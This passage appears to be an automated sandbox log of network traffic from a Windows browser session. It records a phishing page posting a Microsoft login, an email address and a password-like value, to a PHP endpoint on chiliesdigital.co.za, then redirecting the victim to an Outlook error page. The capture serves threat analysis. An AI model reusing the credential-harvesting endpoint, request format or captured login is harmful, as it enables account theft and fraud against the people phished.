63 17 fa e8 74 88 25 9a fa 09 24 7d f6 8f 2b fd f6 cf 3c ed eb 5e 5a b6 37 33 7d 96 ca 29 7e d5 70 fb 61 82 04 fb fb 1b ee d7 b4 7c 2f f1 97 fc 22 3a 6e ab Data Ascii: t%?\|:~FG_-mF2^x'G>_LP7Q\v;W_X<F$;,o-gx']V:tv.C5{..&*E~]u[x6}k>mgM\ga'K<ct%$}+<^Z73})~pa\|/":n
2024-12-18 20:11:12 UTC	16384	IN	Data Raw: a4 f0 49 ff 00 2c ea 6a 4a 3f 79 12 1d ad df 3c 96 29 68 9f 24 de 66 c7 ff 00 71 aa 1b cb 37 b1 b1 4b a8 bc b7 4f 33 f7 95 a1 0e 9e 8b 6d 3d 97 d9 a3 f3 a6 dc f0 3f 99 fe af fe 05 fc 55 7a db 4f b6 8e cb ec f7 12 ef 4f 97 fe d9 cb fc 4b 5c fe d2 34 f9 6c 67 19 72 99 ef 7d 0f 97 1c b2 cb 1f cf f7 fc b9 3f d6 55 5b 85 4b e9 37 db ff 00 02 6c 74 8f f4 ac 9b 65 46 d4 bc d8 bf 7c 88 ff 00 72 bd 0a cd ac 1a da 3d f6 d1 a3 c8 9f 3f f7 eb a2 52 e4 d8 eb f8 8c 78 f4 bd 4b ec 33 f9 52 ef 44 db ff 00 6d 3f fd 55 5f 5e 8e f3 4f 8e 04 b8 fb 97 48 cf 6b 3f f0 48 8a fb 7e 5f a3 57 5d 73 ab 5b 5a d8 ec 48 fe 4d fb 1e aa f8 b7 5e 7d 5b e1 bd af 86 b4 c9 2e 2f 6d e1 d6 17 55 b1 4f 2f 7a 5a 4a c9 b2 58 f7 75 55 6f 91 b6 f4 cd 67 4e a7 34 bd e4 12 97 2f c4 61 f8 7b 5a fd e4 Data Ascii: I,jJ?y<)h$fq7KO3m=?UzOOK\4lgr}?U[K7lteF\|r=?RxK3RDm?U_^OHk?H~_W]s[ZHM^}[./mUO/zZJXuUogN4/a{Z
2024-12-18 20:11:12 UTC	16384	IN	Data Raw: fa 78 b7 f3 7c a9 36 9f 6a d3 ed 19 1d f7 ec 83 f1 9e ff 00 e1 be bd a7 36 ad 73 a8 dd 69 32 5d 5b 59 a4 7f 68 f9 2d 13 cd f4 6f e1 da ef 5d 17 ed 6d 6f 3f 83 7f 6b 7d 46 5f 33 ce b5 9f 54 5d 55 1e 4b 7d 90 fe f7 ef ed fe ff 00 f0 e4 af f1 57 8c fc 45 f0 8d ff 00 85 7c 7f e2 3f 87 32 fe fa fb 4b d4 59 23 92 3f f9 69 dd 4a fd 55 ab e8 8f da aa e2 c3 c4 df 0a 7c 39 a8 6a 72 c7 6b af 59 69 76 7b 3c cf 37 fd 3d 3c a1 f3 c2 7e ef cc bc b7 fb 71 57 15 4e 58 e2 21 35 f6 b7 3a 63 19 4e 9b 4f ec 9d 37 ec 9d f1 02 ff 00 c6 11 f8 9e f5 e4 92 4d 53 c3 f0 34 36 33 bc 9b fc bb 29 12 4d d0 73 f3 32 07 4d cb fd dd f5 e4 3f 18 3c 0b e1 eb 5f 02 e9 bf 11 b4 2d 5e 49 a1 d5 ee a2 fb 75 ad dc 7f f1 e9 2b 45 f3 47 fe ee ed d8 ff 00 67 e9 54 fe 09 e9 7a aa f8 3b c7 16 ba 3c b2 Data Ascii: x\|6j6si2][Yh-o]mo?k}F_3T]UK}WE\|?2KY#?iJU\|9jrkYiv{<7=<~qWNX!5:cNO7MS463)Ms2M?<_-^Iu+EGgTz;<
2024-12-18 20:11:12 UTC	16067	IN	Data Raw: af fc 49 af ff 00 6e a4 b6 e8 93 4e be 7b c1 1f 92 92 6e fb df 2f 44 6f f6 6b 2e 5e 6f 43 5f 84 d8 d3 75 6b 96 f8 77 05 96 9f 6d 1f d9 e6 ba 6d 9f 73 f7 6f fc 49 9e bb 4d 71 fa 5c b3 78 57 c5 b6 37 71 69 91 bb 43 75 e7 3c 0f 26 f4 f9 bf 87 d7 6e da f4 af 81 ba 7e 8f 67 63 75 17 89 63 b2 d4 34 cb d4 96 cf c8 f3 15 2e 7c d5 74 68 da 3f ee d6 1f 86 ff 00 b2 ac 7c 41 3e 9f e2 3d 1f 51 fb 4b ce c9 a7 5d 47 27 93 34 7b 7f bb bf 31 ca be bf ce 8a 95 39 7e cd c3 94 d6 f1 9d be 89 af 78 83 4d 6f b4 dc 69 ed a8 3a ef ba 92 4f 93 ca fe 1d df df db f7 69 af e1 9b 3d 37 56 81 f4 c8 ae 1f 4f bd 7b 9b 6f df c9 f2 48 eb fd d7 e9 58 3f 12 fc 27 7f e1 f9 60 b2 d4 25 8d ef a7 48 9d d2 3d 46 29 a1 9f cd 6f dd f9 0c 9f 7b dd 7f 86 bd 82 ff 00 4b 9a 3f d9 ce 3d 3e ca 5b 77 be Data Ascii: InN{n/Dok.^oC_ukwmmsoIMq\xW7qiCu<&n~gcuc4.\|th?\|A>=QK]G'4{19~xMoi:Oi=7VO{oHX?'`%H=F)o{K?=>[w
2024-12-18 20:11:12 UTC	16384	IN	Data Raw: 06 b4 2f 35 88 75 8f 0d d8 f8 db 4d d2 24 b5 b8 f0 ac ff 00 66 be f2 ff 00 e5 ee 2f e3 54 6f e9 5c f8 8a 95 2a 4b 99 f5 35 a7 18 d3 d1 1d 05 fd f5 cd f4 73 de db d8 fd 97 f8 3f 7f 22 6c 93 6f f7 6b 9b d1 35 29 a4 92 ea df cd fb 2d a5 ab cf b3 cb f9 fe f7 cd f7 6b 72 1b a8 61 f2 d6 f7 cc f2 51 fc e4 4f 33 fd 66 e7 f9 5b 6d 79 ae 8f 71 e6 7c 5e 8e c6 2d 4f 7d 8b c1 72 93 da f9 9f 24 fd e3 7f f7 96 b7 c2 47 dd 7e 86 75 3e 23 0f e2 d7 c3 38 7f e1 20 fe d5 d1 e5 8e 17 d9 03 fd aa 3f b9 fc 0c 93 d7 7d f1 9a c5 ef 3c 37 a6 de e9 f2 c8 fa 84 30 34 37 49 1f dc 91 3f 8b cc 5f 7a a7 f0 be 38 75 ad 13 c4 da 3e bb 2c 9e 4c 3a 5c f0 e9 77 52 7c 89 b9 53 72 fc bf c5 f7 6b 7b 47 b7 7d 5b c1 36 37 76 9f be 87 53 82 24 79 d2 4f 9f ee 7f 0f f8 57 b3 1a f1 a5 46 d3 7b 1c 32 Data Ascii: /5uM$f/To\*K5s?"lok5)-kraQO3f[myq\|^-O}r$G~u>#8 ?}<7047I?_z8u>,L:\wR\|Srk{G}[67vS$yOWF{2
2024-12-18 20:11:12 UTC	16384	IN	Data Raw: b5 cd 57 45 8f 52 fe cf 8a e1 2f 9e d5 92 c6 78 ee 1e 17 b4 97 fe 7a 2c 9f c3 b7 d2 94 a5 51 54 8b 86 8a fa a1 48 d8 78 fc 67 f0 df c3 f3 e9 fe 26 b1 f0 cc 17 da a7 fc 7a a5 dd ee fb c8 f7 27 df f9 33 f7 97 8a e1 7c 13 1e b7 e1 d9 24 f1 05 a6 87 24 2e 89 2a 24 ff 00 71 ff 00 79 f7 8f fb 3e cb 5e ed a9 78 1f 47 f0 ee 81 63 71 aa f8 7e df 5a d4 75 0d 01 b5 5d 47 5f be b8 77 b9 b7 b8 93 fd 5e d1 fc 1f 37 a7 d6 bc 3e 4d 9a 97 9e ff 00 bc df 37 cf b3 cc f9 e4 ff 00 e2 ab d9 c4 57 8d 2f 70 d7 9a 31 2f 43 a6 dc df 68 96 3e 20 ff 00 84 86 3d 3f 53 fb 56 f4 82 4b 77 fd dc 4a fb 77 34 bf f8 f0 5a e9 21 f0 8d fc de 32 be d1 35 0f 10 e9 d3 df 5e ce db ef bc cf dc dc 6d f9 e3 75 7f 7f d3 a1 ac 5d 7b c5 0f a8 7f 66 db e9 5e 1e b7 b5 5d 32 c7 ec d3 f9 71 ff 00 c7 df f7 Data Ascii: WER/xz,QTHxg&z'3\|$$.*$qy>^xGcq~Zu]G_w^7>M7W/p1/Ch> =?SVKwJw4Z!25^mu]{f^]2q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49765	152.199.21.175	443	2760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:11:11 UTC	420	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 20:11:12 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 23293795 Cache-Control: public, max-age=31536000 Content-MD5: nzaLxFgP7ZB3dfMcaybWzw== Content-Type: image/svg+xml Date: Wed, 18 Dec 2024 20:11:12 GMT Etag: 0x8DB5C3F495F4B8C Last-Modified: Wed, 24 May 2023 10:11:48 GMT Server: ECAcc (lhc/7892) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 002cd9d5-201e-00e1-69ad-7d6453000000 x-ms-version: 2009-09-19 Content-Length: 3651 Connection: close
2024-12-18 20:11:12 UTC	3651	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49799	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:11:23 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 58 68 67 37 53 37 6d 56 74 45 61 62 44 77 78 39 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 62 61 63 65 36 31 37 35 30 64 37 63 61 63 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: Xhg7S7mVtEabDwx9.1Context: 4bace61750d7cace
2024-12-18 20:11:23 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-18 20:11:23 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 58 68 67 37 53 37 6d 56 74 45 61 62 44 77 78 39 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 62 61 63 65 36 31 37 35 30 64 37 63 61 63 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 4d 6f 6a 30 46 37 61 76 44 66 38 69 4e 77 69 34 66 44 4d 31 4e 4d 4e 39 59 31 6a 58 5a 61 50 4b 6b 6f 69 38 43 4a 35 69 55 69 6f 4e 69 4f 68 66 61 42 6b 54 51 75 6b 68 54 43 76 54 4b 2f 58 4c 78 6f 30 65 6e 50 79 59 6e 59 78 72 7a 31 2f 53 47 42 6d 62 69 38 66 70 2b 76 78 48 39 70 4b 49 77 6f 57 49 4f 72 69 4c 4f 6a 4c 6e Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: Xhg7S7mVtEabDwx9.2Context: 4bace61750d7cace<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASMoj0F7avDf8iNwi4fDM1NMN9Y1jXZaPKkoi8CJ5iUioNiOhfaBkTQukhTCvTK/XLxo0enPyYnYxrz1/SGBmbi8fp+vxH9pKIwoWIOriLOjLn
2024-12-18 20:11:23 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 58 68 67 37 53 37 6d 56 74 45 61 62 44 77 78 39 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 62 61 63 65 36 31 37 35 30 64 37 63 61 63 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: Xhg7S7mVtEabDwx9.3Context: 4bace61750d7cace<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-18 20:11:23 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-18 20:11:23 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 5a 73 6e 4c 46 42 66 6f 48 45 36 39 6e 34 58 6c 72 63 2b 35 57 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: ZsnLFBfoHE69n4Xlrc+5Wg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49819	172.67.165.105	443	2760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:11:27 UTC	684	OUT	POST /app/stiktk.php HTTP/1.1 Host: ajx6f16w140.chiliesdigital.co.za Connection: keep-alive Content-Length: 69 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://5bsrfkftdtnvful9nm.ssaa.beauty:8443 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://5bsrfkftdtnvful9nm.ssaa.beauty:8443/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 20:11:27 UTC	69	OUT	Data Raw: 75 73 72 6e 3d 67 6c 6f 62 61 6c 25 34 30 70 72 6f 6d 65 74 68 65 75 73 6c 61 62 73 2e 63 6f 6d 26 70 73 72 64 3d 25 32 33 42 76 4b 78 25 33 41 7a 78 76 25 33 46 25 32 33 37 56 25 33 42 25 33 41 28 25 32 34 Data Ascii: usrn=global%40prometheuslabs.com&psrd=%23BvKx%3Azxv%3F%237V%3B%3A(%24
2024-12-18 20:11:29 UTC	1104	IN	HTTP/1.1 302 Found Date: Wed, 18 Dec 2024 20:11:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.4.16 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, OPTIONS Access-Control-Allow-Headers: Content-Type Location: https://outlook.office365.com/Encryption/ErrorPage.aspx?src=0&code=10&be=DM8PR09MB6088&fe=BL1PR13CA0351.NAMPRD13.PROD.OUTLOOK.COM cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BfFW8Ye7ZAr1mF7lQdNs4MZUBWFDOTgliRfRnxHjVeKDJhQquHraOtLoqoy%2BkERylRqDX3TYXoNd9kKsTU8VViB5k9DmV43NI6XuYFNl6wxL39b7O6huPNUbDW8P9qY9YbdKQa0ws3oIfhCYaanQJXRhDA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41cd5bff79427c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1623&min_rtt=1606&rtt_var=636&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2852&recv_bytes=1353&delivery_rate=1675272&cwnd=245&unsent_bytes=0&cid=a2a956fb2cce3897&ts=1881&x=0"
2024-12-18 20:11:29 UTC	9	IN	Data Raw: 34 0d 0a 20 20 0d 0a 0d 0a Data Ascii: 4
2024-12-18 20:11:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49820	172.67.165.105	443	2760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:11:27 UTC	684	OUT	POST /app/stiktk.php HTTP/1.1 Host: ajx6f16w140.chiliesdigital.co.za Connection: keep-alive Content-Length: 38 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://5bsrfkftdtnvful9nm.ssaa.beauty:8443 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://5bsrfkftdtnvful9nm.ssaa.beauty:8443/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 20:11:27 UTC	38	OUT	Data Raw: 75 73 72 6e 3d 67 6c 6f 62 61 6c 25 34 30 70 72 6f 6d 65 74 68 65 75 73 6c 61 62 73 2e 63 6f 6d 26 70 73 72 64 3d Data Ascii: usrn=global%40prometheuslabs.com&psrd=
2024-12-18 20:11:28 UTC	963	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:11:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.4.16 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, OPTIONS Access-Control-Allow-Headers: Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dNAfJNrwMPemYvyokDouKkOkyNITYYXnjooaLbnm%2FF%2BqJeuDvaUPrg1G9TFeKAp1%2FyPal%2BkiLhBJ7Cnd07QZ9uy45zFO2iIA6t2n8H5HmPSBzmnsTNTlVnJ74sp27Je8cFcf4qxN9xdw4Q8jUFrnR1ABKQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41cd5c0d7d43a7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1626&min_rtt=1619&rtt_var=622&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=1322&delivery_rate=1737061&cwnd=177&unsent_bytes=0&cid=040b2fe2d398963f&ts=973&x=0"
2024-12-18 20:11:28 UTC	66	IN	Data Raw: 33 63 0d 0a 20 20 0d 0a 4f 6e 65 20 6f 72 20 62 6f 74 68 20 6f 66 20 74 68 65 20 76 61 6c 75 65 73 20 27 75 73 72 6e 27 20 61 6e 64 20 27 70 73 72 64 27 20 61 72 65 20 6d 69 73 73 69 6e 67 2e 0d 0a Data Ascii: 3c One or both of the values 'usrn' and 'psrd' are missing.
2024-12-18 20:11:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49829	104.21.81.229	443	2760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:11:31 UTC	370	OUT	GET /app/stiktk.php HTTP/1.1 Host: ajx6f16w140.chiliesdigital.co.za Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 20:11:32 UTC	960	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:11:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.4.16 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, OPTIONS Access-Control-Allow-Headers: Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q1JCc493%2FIlduHqDQbH%2FLMmG27afbyD2uOx3BDro17kR%2FOnKLtjoE9MYX2tKiUv7sb8Mcb3KdAcXs2HmCrlIqN9NGCPN4J7gFxKNymhqBYBx3qH3sns1rwqEcnf7DDE7VfBVRTraPMUSWqSq8VyNk9ddJg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41cd72cc2878d0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1856&min_rtt=1856&rtt_var=697&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2852&recv_bytes=948&delivery_rate=1567364&cwnd=144&unsent_bytes=0&cid=ce61f2be1cd78f80&ts=990&x=0"
2024-12-18 20:11:32 UTC	66	IN	Data Raw: 33 63 0d 0a 20 20 0d 0a 4f 6e 65 20 6f 72 20 62 6f 74 68 20 6f 66 20 74 68 65 20 76 61 6c 75 65 73 20 27 75 73 72 6e 27 20 61 6e 64 20 27 70 73 72 64 27 20 61 72 65 20 6d 69 73 73 69 6e 67 2e 0d 0a Data Ascii: 3c One or both of the values 'usrn' and 'psrd' are missing.
2024-12-18 20:11:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49830	40.99.32.114	443	2760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:11:32 UTC	698	OUT	GET /Encryption/ErrorPage.aspx?src=0&code=10&be=DM8PR09MB6088&fe=BL1PR13CA0351.NAMPRD13.PROD.OUTLOOK.COM HTTP/1.1 Host: outlook.office365.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://5bsrfkftdtnvful9nm.ssaa.beauty:8443/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 20:11:32 UTC	725	IN	HTTP/1.1 404 Vary: Origin Server: Microsoft-IIS/10.0 request-id: c94f02c9-60ee-1698-2555-6d128383d556 X-CalculatedBETarget: DX0P273MB1619.AREP273.PROD.OUTLOOK.COM X-BackEndHttpStatus: 404 Set-Cookie: X-E4E-CorrelationId=2ccc97fa-baf2-4232-8615-542b11f4daa3; path=/; secure; samesite=none; httponly Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true X-Proxy-RoutingCorrectness: 1 Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-Proxy-BackendServerStatus: 404 X-FirstHopCafeEFZ: DXB X-FEProxyInfo: DX0P273CA0014.AREP273.PROD.OUTLOOK.COM X-FEEFZInfo: DXB X-Powered-By: ASP.NET X-FEServer: DX0P273CA0014 Date: Wed, 18 Dec 2024 20:11:34 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49844	172.67.165.105	443	2760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:11:35 UTC	684	OUT	POST /app/stiktk.php HTTP/1.1 Host: ajx6f16w140.chiliesdigital.co.za Connection: keep-alive Content-Length: 38 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://5bsrfkftdtnvful9nm.ssaa.beauty:8443 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://5bsrfkftdtnvful9nm.ssaa.beauty:8443/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 20:11:35 UTC	38	OUT	Data Raw: 75 73 72 6e 3d 67 6c 6f 62 61 6c 25 34 30 70 72 6f 6d 65 74 68 65 75 73 6c 61 62 73 2e 63 6f 6d 26 70 73 72 64 3d Data Ascii: usrn=global%40prometheuslabs.com&psrd=
2024-12-18 20:11:36 UTC	959	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:11:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.4.16 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, OPTIONS Access-Control-Allow-Headers: Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qieC3%2F0Tv5zrZ8tXrgcKEk9VRxGP1UFmXEJtNnx8OIHqT4u1rymCDkSmgCZvRGH4VZ2QKE7ePCdfvzbfMXZWpSEraD3vN05WKzZl9BoIAYLSkGYj43yI9QOkdaXXfnDcc0fg8jcXr%2FIip7gKeDHjcw3c7A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: 